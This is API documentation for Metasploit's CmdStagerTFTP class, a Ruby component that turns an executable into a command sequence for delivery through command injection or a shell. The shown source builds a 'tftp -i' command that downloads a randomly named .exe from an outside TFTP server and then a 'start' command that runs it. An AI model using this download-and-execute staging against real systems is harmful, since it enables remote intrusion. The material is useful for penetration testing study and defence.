Class: Rex::Exploitation::CmdStagerTFTP
- Inherits:
-
CmdStagerBase
- Object
- CmdStagerBase
- Rex::Exploitation::CmdStagerTFTP
- Defined in:
- lib/rex/exploitation/cmdstager/tftp.rb
Overview
This class provides the ability to create a sequence of commands from an executable. When this sequence is ran via command injection or a shell, the resulting exe will be written to disk and executed.
This particular version uses tftp.exe to download a binary from the specified server. The original file is preserve, not encoded at all, and so this version is significantly simpler than other methods.
Requires: tftp.exe, outbound udp connectivity to a tftp server
Written by Joshua J. Drake
Instance Attribute Summary collapse
-
#payload_exe ⇒ Object
readonly
NOTE: We don’t use a concatenation operator here since we only have a couple commands.
Instance Method Summary collapse
-
#compress_commands(cmds, opts) ⇒ Object
We override compress commands just to stick in a few extra commands last second..
-
#initialize(exe) ⇒ CmdStagerTFTP
constructor
A new instance of CmdStagerTFTP.
Methods inherited from CmdStagerBase
#cmd_concat_operator, #encode_payload, #generate, #generate_cmds, #generate_cmds_decoder, #generate_cmds_payload, #parts_to_commands, #slice_up_payload
Constructor Details
#initialize(exe) ⇒ CmdStagerTFTP
Returns a new instance of CmdStagerTFTP.
30 31 32 33 34 |
# File 'lib/rex/exploitation/cmdstager/tftp.rb', line 30 def initialize(exe) super @payload_exe = Rex::Text.rand_text_alpha(8) + ".exe" end |
Instance Attribute Details
#payload_exe ⇒ Object (readonly)
NOTE: We don’t use a concatenation operator here since we only have a couple commands. There really isn’t any need to combine them. Also, the ms01_026 exploit depends on the start command being issued separately so that it can ignore it :)
60 61 62 |
# File 'lib/rex/exploitation/cmdstager/tftp.rb', line 60 def payload_exe @payload_exe end |
Instance Method Details
#compress_commands(cmds, opts) ⇒ Object
We override compress commands just to stick in a few extra commands last second..
41 42 43 44 45 46 47 48 49 50 51 52 53 54 |
# File 'lib/rex/exploitation/cmdstager/tftp.rb', line 41 def compress_commands(cmds, opts) # Initiate the download cmds << "tftp -i #{opts[:tftphost]} GET #{opts[:transid]} #{@tempdir + @payload_exe}" # Make it all happen cmds << "start #{@tempdir + @payload_exe}" # Clean up after unless requested not to.. if (not opts[:nodelete]) # XXX: We won't be able to delete the payload while it is running.. end super end |